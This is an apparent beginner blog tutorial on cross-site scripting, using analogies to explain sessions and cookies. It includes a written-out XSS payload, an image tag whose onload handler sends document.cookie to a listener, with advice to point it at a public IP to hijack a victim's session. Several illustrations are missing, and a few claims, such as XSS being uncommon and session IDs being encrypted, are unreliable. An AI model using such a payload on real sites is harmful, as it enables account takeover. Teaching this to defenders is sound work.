What is data integrity and security?

As everybody knows 2020 was quite a year and, to be honest, I think I’ve seen it all.

We can’t deny that while we were locked up inside our homes we did stupid things on the internet such as opening an attractive email that gives a reasonable discount on groceries from groceriesdiscount991@discounts.com or opening a link from a cute girl with 10 followers that sent a DM on Instagram.

Don’t get me wrong—difficult times negatively affect most people’s decision making. It’s inevitable. To make a point, a report from the World Health Organization (WHO) stated that even they were flooded with malicious attacks directed at their staff members who were working on the coronavirus response force. 

450 compromised accounts were leaked in a single week to be exact, so if WHO isn’t safe, why should you think you are?

If you made it here that means you are probably a bit concerned about the integrity and security of your data. For today’s topic, I will introduce you, in a very kind way, to a well-known attack called XSS (Cross-Site Scripting).

XSS is not a common attack as a good percentage of websites are protected against it, which, in my opinion, makes new web developers neglect this old trick. Grab your coffee and get ready for a security adventure, and if it’s your first one, I hope it’s as interesting for you as it is for me.

By definition, an XSS or Cross-Site Scripting attack is a type of injection of malicious code into vulnerable websites. This often occurs when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different user than themself.

The power of this attack is often underrated, as the attacker can insert all sorts of JavaScript code, send it to a victim, and get away with it; it’s as simple as that.

Of course, the attacker needs to be knowledgeable not only in JavaScript but in computer networks and web penetration, but that's not today's topic and it's not my intention to bore you with nerdy stuff. Let's get back to business and show you a real example of what I'm trying to explain.

To ease your comprehension, I’ll divide it into logical steps and try to explain it as I would to a five-year-old.

It can be inserted almost anywhere in the HTML page the server sent you because the page is yours to fiddle with. You read it right. It's yours: it's your browser that renders the page the server sent you, so you can manipulate all the HTML from your side.

It's like asking for a photocopy in your stationery store of an original book that you don’t own, changing it, and then sending it to someone convincing them that it is the real one.

As I stated, the page is yours so you can do whatever you want to it. The same rule applies to JavaScript code, as long as the website is vulnerable, of course, as it is frontend code and it's executed on your computer. Let me show you what I’m explaining by modifying Google’s website HTML code.

It’s that easy, you also can change the password fields to be visible on every website, just like this:

Change the password type to text:

and voilá, the text field is now visible.

This HTML manipulation is transversal to all websites, but on the protected ones, this change is only visible to you.

This is the hardest step: send the JavaScript injected code to your victim, expecting the same result if the website is vulnerable.

You have probably already heard about this, and I think the majority of the new developers are afraid of this topic because they never really understood the importance of it. Fortunately, I wrote this example to prove to you that sessions can be really easy to understand. Let's get started!

Imagine this: I attend a bar near my college which has the best beer and sandwiches of them all. When I get there, I don't need to tell the waiter what I want because he has known me for years. So, with eye contact and a simple head shake, I have the beer and that crunchy sandwich I love served at my table.

One day, that waiter was sick and so another employee that works the morning shift was covering his section. When I arrived I had to tell him who I was and what the special ingredients of the sandwich I wanted were, which is natural.

He didn't know who I was despite the fact that I spent most of my college time in that sacred establishment, and yet the next time I went there he knew what I wanted. That's a good analogy for sessions. It’s almost the same on your web app: a session is a mechanism that stores some information about a given person, but when they change the computer they're accessing, that website doesn’t know who they are anymore. So they have to tell him who they are, the same as I had to before I could order my beer without asking for it again.

By now you're probably asking, “What if I show an ID that isn’t mine?” Well, then you usurped someone else's identity. But that's not that easy. The IDs are very difficult to rob as they are encrypted instead of left in plain text.

As I stated, you need to provide an ID for them to know information about you, but do you ever remember doing such a thing everytime you go to Facebook or other websites?

That's where cookies play their role. Cookies exist so the server doesn't have to store minor pieces of information like what's in your shopping cart. When you access a different tab, you are still logged in because the browser saved the session ID in your cookies.

Don't get me wrong. That is some valuable information, but it can be easily stored client-side as it is not critical info and it is also sometimes encrypted. When you access Facebook, you don't have to go through the burden to log in every time because you have your session ID stored in your cookies.

Therefore the server has access to all the information regarding your session and can retrieve data without any effort from you. That's the beauty of cookies; they reduce the work substantially from either side. But, be aware, because it can be a double-edged sword, and I'm going to prove it to you.

If you understood the previous topics, then you're ready to be a hacker. 😉

Now, I will present you with an example of how to hijack a victim's identity by getting their session ID from the cookies and sending it to a local server with injected malicious code.

As I said, you have a session ID stored in your cookies, so let's check it out (cookies can be viewed in your browser development tools).

The PHPSESSID is usually the name of the cookie used by sites using PHP in the backend.

As you see, the session is exposed to the user. And the question is: can we get it and send it to someone? I guess we'll find out.

Usually, this is what you can expect when you insert something like this in a search bar on an HTML page:

If the website is vulnerable to XSS, it will show something like this:

And, if you use a browser variable to point to your cookie like document.cookie it'll show something like this:

Let's try to send this to a local TCP listener on our machine. To do so, we're going to start the TCP listener on port 80.

Then, insert the malicious XSS code. In this case we're injecting an image with a manipulated URL:

https://github.com/favicon.ico width=0 height=0 onload=this.src='http://localhost:80/?'+document.cookie>

This is the result presented by the listener:

As you can see, the listener is showing the session ID I had in my cookie, so the URL is prepared to be sent to your victim. Don't forget to change the localhost to your public IP.

This is a HUGE vulnerability from the server, as I can easily use this session ID, insert it in my cookies, and VOILA! I'm suddenly in another person's account without even knowing their password.

It's easier than it seems. The only thing you need to add is an input filter that filters all special characters. There are a bunch of already made functions that give you something like this. In PHP you have htmlspecialchars() to receive the user's input.

We all should have some sense of security as it is, but it’s more than ever, becoming one of the most critical subjects for all of us who use the Internet and depend on it for a monthly wage. I also hope we can get to a point in the future where there is more education regarding this and we start closing the gap in overall general education such as high school. With this, a tremendous amount of cyberbullying would likely disappear.

This type of attack is a powerful weapon for hijacking identities. And with great power comes great responsibility.

The purpose of this article was for education only.

Do not try this on websites that you do not have permission to. I hope you enjoyed this article as much as I did writing it.

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –